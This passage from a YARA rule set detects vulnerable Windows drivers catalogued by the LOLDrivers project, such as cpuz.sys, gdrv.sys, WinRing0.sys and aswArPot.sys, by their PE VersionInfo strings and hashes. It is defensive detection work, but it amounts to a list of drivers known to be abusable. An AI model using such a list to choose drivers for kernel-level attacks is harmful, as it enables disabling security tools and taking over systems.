		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310037002e003100310035 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Windowsrcodenamelonghornddkprovider_Cpuzsys_Windowsrcodenamelonghornddkdriver_4932
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "49329fa09f584d1960b09c1b15df18c0bc1c4fdb90bf48b6b5703e872040b668"
		hash = "2ef7df384e93951893b65500dac6ee09da6b8fe9128326caad41b8be4da49a1e"
		hash = "dbb457ae1bd07a945a1466ce4a206c625e590aee3922fa7d86fbe956beccfc98"
		hash = "8e5aef7c66c0e92dfc037ee29ade1c8484b8d7fadebdcf521d2763b1d8215126"
		date = "2023-06-14"
		score = 40
		id = "6fa00211-cb55-5870-92ec-18a6e2c7eb89"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b002000700072006f00760069006400650072 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e003100360033003800360020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e00310036003300380036 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b0020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_3D9E
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "3d9e83b189fcf5c3541c62d1f54a0da0a4e5b62c3243d2989afc46644056c8e3"
		date = "2023-06-14"
		score = 40
		id = "023a5c66-aae0-5583-95aa-0a62f3f27352"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200046006f00720020004e00540049004f004c00690062005f00450043004f }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310031002d00320030003100320020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_2BBE
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "2bbe65cbec3bb069e92233924f7ee1f95ffa16173fceb932c34f68d862781250"
		hash = "e68d453d333854787f8470c8baef3e0d082f26df5aa19c0493898bcf3401e39a"
		date = "2023-06-14"
		score = 40
		id = "fbe65027-5e7a-5944-bd8a-c0673cd165a1"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200046006f00720020004d0053004900530069006d0070006c0065005f004f0043 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310031002d00320030003100320020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_092D
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "092d04284fdeb6762e65e6ac5b813920d6c69a5e99d110769c5c1a78e11c5ba0"
		hash = "0ce40a2cdd3f45c7632b858e8089ddfdd12d9acb286f2015a4b1b0c0346a572c"
		date = "2023-06-14"
		score = 40
		id = "89160c3c-ff81-5425-a205-09be7fd5a412"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_62F5
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "62f5e13b2edc00128716cb93e6a9eddffea67ce83d2bb426f18f5be08ead89e0"
		hash = "ee3ff12943ced401e2b6df9e66e8a0be8e449fa9326cab241f471b2d8ffefdd7"
		date = "2023-06-14"
		score = 40
		id = "e66960f5-d39e-5b0b-b573-77ffeb276925"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e0030002e0030002e0031003000390039 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and all of them
}

rule PUA_VULN_Driver_Yyinc_Dianhu_80CB
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Dh_Kernel_10.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "80cbba9f404df3e642f22c476664d63d7c229d45d34f5cd0e19c65eb41becec3"
		hash = "bb50818a07b0eb1bd317467139b7eb4bad6cd89053fecdabfeae111689825955"
		date = "2023-06-14"
		score = 40
		id = "166a402d-9679-54b8-9703-3e3b2b001236"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006400690061006e00680075 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0059005900200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00390039 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00390039 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006400690061006e00680075 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300037002d003200300031003700200059005900200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_8F68
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "8f68ca89910ebe9da3d02ec82d935de1814d79c44f36cd30ea02fa49ae488f00"
		hash = "c8eaa5e6d3230b93c126d2d58e32409e4aeeb23ccf0dd047a17f1ef552f92fe9"
		date = "2023-06-14"
		score = 40
		id = "6a773b61-ac40-5cdd-ad93-0b16061587f7"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003600200045006c00610062006f0072006100740065002000420079007400650073002000410047 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_A5A5
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "a5a50449e2cc4d0dbc80496f757935ae38bf8a1bebdd6555a3495d8c219df2ad"
		date = "2023-06-14"
		score = 40
		id = "b68851b2-66b6-5b8a-9aaa-918a34934a92"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0033002e0033003800340038002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0033002e0033003800340038002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_591B
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "591bd5e92dfa0117b3daa29750e73e2db25baa717c31217539d30ffb1f7f3a52"
		date = "2023-06-14"
		score = 40
		id = "b4f581f6-66e5-5b85-9b2d-b1532dd2defe"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200046006f00720020004d005300490052006100740069006f005f00430043 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Openlibsysorg_Winringsys_Winring_47EA
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WinRing0.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "47eaebc920ccf99e09fc9924feb6b19b8a28589f52783327067c9b09754b5e84"
		hash = "3ec5ad51e6879464dfbccb9f4ed76c6325056a42548d5994ba869da9c4c039a8"
		date = "2023-06-14"
		score = 40
		id = "b14e5697-a0f7-5af0-a0da-0f5ca2d88c1c"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069006e00520069006e00670030 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e0032 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e00520069006e00670030 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004f00700065006e004c00690062005300790073002e006f00720067002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Insydesoftwarecorp_Segwindrvxsys_Segwindowsdriverx_6532
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - segwindrvx64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "65329dad28e92f4bcc64de15c552b6ef424494028b18875b7dba840053bc0cdd"
		date = "2023-06-14"
		score = 40
		id = "b9a6e1e6-1bc5-587f-a31f-8dc55568ad9e"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]003100300030002e00300030002e00300037002e00300032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003100300030002e00300030002e00300037002e00300032 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100320020002d00200032003000310035002c00200049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_909D
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "909de5f21837ea2b13fdc4e5763589e6bdedb903f7c04e1d0b08776639774880"
		date = "2023-06-14"
		score = 40
		id = "8dcbf930-ae97-5389-9b68-793dc82b042b"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0035002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0035002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300032003000200041004d0044002c00200049006e0063002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Atitechnologiesinc_Atillksys_Atidiagnostics_AD40
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - atillk64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "ad40e6d0f77c0e579fb87c5106bf6de3d1a9f30ee2fbf8c9c011f377fa05f173"
		hash = "38bb9751a3a1f072d518afe6921a66ee6d5cf6d25bc50af49e1925f20d75d4d7"
		hash = "5c04c274a708c9a7d993e33be3ea9e6119dc29527a767410dbaf93996f87369a"
		date = "2023-06-14"
		score = 40
		id = "f5e53c71-1c12-5df8-a2cc-563473190c87"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410054004900200044006900610067006e006f007300740069006300730020004800610072006400770061007200650020004100620073007400720061006300740069006f006e0020005300790073 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410054004900200054006500630068006e006f006c006f006700690065007300200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00310031002e0039002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00310031002e0039002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100740069006c006c006b00360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410054004900200044006900610067006e006f00730074006900630073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100740069006c006c006b00360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000410054004900200054006500630068006e006f006c006f006700690065007300200049006e0063002e002c00200032003000300033 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_0CD4
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "0cd4ca335155062182608cad9ef5c8351a715bce92049719dd09c76422cd7b0c"
		date = "2023-06-14"
		score = 40
		id = "6ee8fb67-896d-534f-9602-a0f46a43e5cd"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Novellinc_Novellxtier_E16D
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "e16dc51c51b2df88c474feb52ce884d152b3511094306a289623de69dedfdf48"
		hash = "e6056443537d4d2314dabca1b9168f1eaaf17a14eb41f6f5741b6b82b3119790"
		hash = "ab0925398f3fa69a67eacee2bbb7b34ac395bb309df7fc7a9a9b8103ef41ed7a"
		hash = "da11e9598eef033722b97873d1c046270dd039d0e3ee6cd37911e2dc2eb2608d"
		date = "2023-06-14"
		score = 40
		id = "73d525b8-d109-5872-8841-b1c5149f732e"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c0020005800540043004f004d0020005300650072007600690063006500730020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310033002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroaegis_3FA6
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "3fa6379951f08ed3cb87eeba9cf0c5f5e1d0317dcfcf003b810df9d795eeb73e"
		date = "2023-06-14"
		score = 40
		id = "25f27f08-3aab-5b8f-bf59-37a40de4fb44"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00380030002e0030002e0031003000370037 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00380030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f002000410045004700490053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_3E1D
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "3e1d47a497babbfd1c83905777b517ec87c65742bee7eb57a2273eca825d2272"
		date = "2023-06-14"
		score = 40
		id = "d8d61d0b-d859-5e7e-9ef6-b232ab499560"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0030002e0030002e0031003100310033 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003100310020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_6FB5
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "6fb5bc9c51f6872de116c7db8a2134461743908efc306373f6de59a0646c4f5d"
		date = "2023-06-14"
		score = 40
		id = "a9926e8c-f504-5926-8be0-e4e9ccf3b971"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 }
